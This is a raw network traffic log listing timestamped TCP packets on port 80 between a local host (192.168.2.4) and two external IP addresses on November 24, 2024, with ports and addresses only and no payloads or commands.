Nov 24, 2024 12:24:27.606034994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.606070995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.606869936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.606911898 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.607119083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.607178926 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.608006001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.608047962 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.629470110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.629478931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.629658937 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.629834890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.629940033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.629983902 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.630675077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.630788088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.631539106 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.631606102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.631701946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.632112980 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.632468939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.632539034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.632910967 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.633366108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.633449078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.633501053 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.634229898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.634371042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.634430885 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.709610939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.709775925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.709884882 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.710042953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.710112095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.710438967 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.711708069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.711719990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.711730957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.711760044 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.712007999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.712028027 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.712069035 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.712822914 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.712937117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.712981939 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.713675976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.713721991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.713758945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.716837883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.716849089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.716859102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.716870070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.716881037 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.716892004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.716897011 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.716914892 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.717374086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.717386961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.717427015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.718095064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.718283892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.718328953 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.719003916 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.719180107 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.719196081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.719924927 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.720118999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.720165968 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.721018076 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.721065998 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.721210003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.721549034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.721730947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.721774101 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.722280025 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.722327948 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.722467899 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.723205090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.723249912 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.723768950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.724134922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.724497080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.724539995 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.724848986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.724859953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.724896908 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.725575924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.725747108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.725800991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.726480007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.726530075 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.726664066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.727397919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.727410078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.727451086 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.728135109 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.728313923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.728357077 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.728902102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.728951931 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.729082108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.729738951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.729780912 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.729916096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.730571032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.730581999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.730616093 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.731481075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.731671095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.731719017 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.732399940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.732412100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.732450962 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.733139992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.733186960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.733315945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.734052896 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.734095097 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.734251976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.734800100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.734849930 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.734966993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.735709906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.735759020 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.735897064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.736644030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.736660004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.736697912 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.737366915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.737415075 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.737543106 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.738293886 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.738307953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.738346100 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.739016056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.739063978 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.739207983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.739948988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.739959955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.739994049 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.740679979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.740806103 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.740860939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.741609097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.741620064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.741664886 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.742335081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.742463112 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.742512941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.743253946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.743264914 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.743303061 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.743993998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.744044065 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.744172096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.744735003 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.744911909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.744923115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.744932890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.744966984 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.744968891 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.745280027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.745323896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.745454073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.745500088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.745820045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.745831013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.745870113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.746222019 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.746233940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.746272087 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.746609926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.746685982 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.746798038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.747322083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.747334003 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.747368097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.747378111 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.747488976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.747503042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.747536898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.748275995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.748464108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.748495102 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.748516083 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.748631001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.748671055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.749105930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.749140024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.749249935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.749290943 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.751136065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.751147985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.751188993 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.751204014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.752224922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.752235889 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.752269030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.752278090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.752737999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.752779961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.752916098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.752957106 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.753820896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.753861904 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.754026890 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.754065990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.755139112 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.755198956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.755307913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.755353928 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.755743027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.755789995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.755908012 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.755949974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.756869078 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.756944895 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.756992102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.757975101 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.758076906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.758131027 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.759072065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.759222984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.759272099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.760190964 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.760251999 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.760310888 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.761271000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.761334896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.761349916 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.762389898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.762449026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.762505054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.762543917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.763519049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.763667107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.763714075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.764619112 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.764738083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.764785051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.768289089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.768479109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.768485069 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.768490076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.768501043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.768512964 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.768521070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.768522978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.768549919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.768558979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.769414902 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.769427061 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.769459963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.770522118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.770693064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.770740986 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.771434069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.771490097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.771985054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.772726059 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.772736073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.772767067 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.772798061 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.773731947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.773909092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.773962975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.774893045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.775038958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.775089025 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.776091099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.776102066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.776143074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.776175022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.777138948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.777183056 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.777306080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.777344942 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.778285027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.778336048 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.778439999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.779484034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.779536009 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.779628038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.780347109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.780404091 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.780524969 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.780632019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.781496048 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.781652927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.781699896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.782747984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.782805920 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.782938004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.782978058 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.783637047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.783679008 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.783799887 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.783858061 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.784642935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.784687996 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.784771919 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.784812927 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.785609961 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.785653114 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.785717964 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.785759926 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.786721945 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.786780119 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.786784887 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.786815882 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.787826061 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.787936926 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.787945032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.787986994 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.788924932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.788968086 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.788995028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.789036989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.790107965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.790157080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.790185928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.790230036 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.791138887 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.791182041 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.791821003 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.791866064 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.792059898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.792103052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.792555094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.792603970 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.792769909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.792810917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.792871952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.792912960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.793872118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.793914080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.794008970 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.794051886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.794984102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.795027018 CET	49793	80	192.168.2.4	31.41.244.11
